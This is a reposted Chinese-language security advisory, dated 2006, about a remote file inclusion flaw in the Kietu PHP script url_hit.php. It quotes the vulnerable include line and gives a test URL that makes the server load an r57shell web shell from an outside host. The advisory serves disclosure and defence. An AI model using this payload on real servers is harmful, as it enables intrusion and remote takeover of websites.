[转载]Kietu url_hit.php远程文件包含漏洞
信息来源：绿盟科技Kietu url_hit.php远程文件包含漏洞
发布日期：2006-09-27
更新日期：2006-09-28
受影响系统：
Kietu Kietu <= v4.0.0b2z
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 20229
Kietu是一款由PHP编写的程序。
Kietu的url_hit.php脚本没有正确的验证用户输入，允许攻击者通过包含本地或外部资源的任意文件执行任意代码。
漏洞代码如下：
include_once $url_hit.'class/kdetect.class.php';
<*来源：D_7J （[email]D_7J@yahoo.com[/email]）
链接：[url]http://milw0rm.com/exploits/2438[/url]
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
[url]http://www.example.com/[/url][Script Path]/hit.php?url_hit=http://d4wood.by.ru/r57shell.php?
建议：
--------------------------------------------------------------------------------
厂商补丁：
Kietu
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
[url]http://kietu.free.fr/[/url]
浏览次数：46
严重程度：0（网友投票）
页:
[1]